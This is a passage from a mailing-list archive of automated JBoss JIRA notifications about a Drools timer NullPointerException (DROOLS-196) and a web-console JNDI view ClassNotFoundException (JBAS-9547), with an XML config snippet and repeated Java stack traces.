References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.19772.1378890543535@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803406#comment-12803406 ] 

RH Bugzilla Integration commented on DROOLS-196:
------------------------------------------------

Tomas Schlosser <tschloss at redhat.com> made a comment on [bug 986479|https://bugzilla.redhat.com/show_bug.cgi?id=986479]

I am able to reproduce the issue with 5.3.1.BRMS-P04.

It is possible this is fixed in 5.3 branch of project, but it did not make its way to the product.

I have not yet found a way to make this a valid test since the mentioned exceptions are shown in System.err only (could not catch them other way). Please make sure (when running the reproducer) to check your error output for reported exception.
                
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:09:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 05:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.19778.1378890543837@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803407#comment-12803407 ] 

RH Bugzilla Integration commented on DROOLS-196:
------------------------------------------------

Tomas Schlosser <tschloss at redhat.com> changed the Status of [bug 986479|https://bugzilla.redhat.com/show_bug.cgi?id=986479] from ON_QA to ASSIGNED
                
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:37:03 2013
From: jira-events at lists.jboss.org (Marco Bazzani (JIRA))
Date: Wed, 11 Sep 2013 05:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBAS-9547) Web Console JNDI view
 classnotfoundexcpetion
In-Reply-To: <JIRA.12500212.1378473928000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500212.1378473928000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500212.1378473928000.19920.1378892223855@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBAS-9547?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marco Bazzani updated JBAS-9547:
--------------------------------

    Description: 
JNDI View button in web console doesn't work

To reproduce:

add 
{code:xml}
        <subsystem xmlns="urn:jboss:domain:naming:1.3">
            <bindings>
                <lookup name="java:/ejb/Example" lookup="core/core-ejb/Example!com.example.IauthRemote"/>
            </bindings>
        </subsystem>
{code}
click on jndi view and you'll got the following error:

{code}

15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
eption: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autentica
te.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6
.1\modules\system\layers\base))]]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
        at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
        at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
        at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
        at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
        at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebill
ing.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modu
les,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
        at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
        at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
        ... 33 more
Caused by: java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
        at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
        at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
        ... 40 more


{code}

The problem occurs in any case if the basemodule-core.ear is deployed or not.

  was:
JNDI View button in web console doesn't work

To reproduce:

add 
{code:xml}
        <subsystem xmlns="urn:jboss:domain:naming:1.3">
            <bindings>
                <lookup name="java:/ejb/BaseModuleBcpModulesFacade" lookup="ejb:basemodule-core/basemodule-core-ejb/BaseModuleBcpModulesFacade!it.ebilling.basemodule.business.authorization.IAuthorizationManagementFacadeRemote"/>
            </bindings>
        </subsystem>
{code}
click on jndi view and you'll got the following error:

{code}

15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
eption: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autentica
te.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6
.1\modules\system\layers\base))]]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
        at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
        at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
        at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
        at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
        at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebill
ing.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modu
les,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
        at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
        at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
        ... 33 more
Caused by: java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
        at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
        at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
        ... 40 more


{code}

The problem occurs in any case if the basemodule-core.ear is deployed or not.


    
> Web Console JNDI view classnotfoundexcpetion
> --------------------------------------------
>
>                 Key: JBAS-9547
>                 URL: https://issues.jboss.org/browse/JBAS-9547
>             Project: Application Server 3  4  5 and 6
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Web Console
>    Affects Versions: 6.1.0
>         Environment: any
>            Reporter: Marco Bazzani
>              Labels: console, jndi
>
> JNDI View button in web console doesn't work
> To reproduce:
> add 
> {code:xml}
>         <subsystem xmlns="urn:jboss:domain:naming:1.3">
>             <bindings>
>                 <lookup name="java:/ejb/Example" lookup="core/core-ejb/Example!com.example.IauthRemote"/>
>             </bindings>
>         </subsystem>
> {code}
> click on jndi view and you'll got the following error:
> {code}
> 15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
> eption: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autentica
> te.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6
> .1\modules\system\layers\base))]]
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
>         at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
>         at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
>         at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
>         at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
>         at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
>         at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
>         at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
>         at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
>         at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
>         at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
>         at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
>         at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
>         at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
> Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote [Root exception is java.lang.ClassNotFoundException: it.ebill
> ing.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modu
> les,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]]
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
>         at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
>         at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
>         at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
>         at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
>         ... 33 more
> Caused by: java.lang.ClassNotFoundException: it.ebilling.basemodule.business.autenticate.facade.IBaseModuleAuthenticateFacadeRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
> 65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
>         at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
>         at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
>         ... 40 more
> {code}
> The problem occurs in any case if the basemodule-core.ear is deployed or not.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:37:04 2013
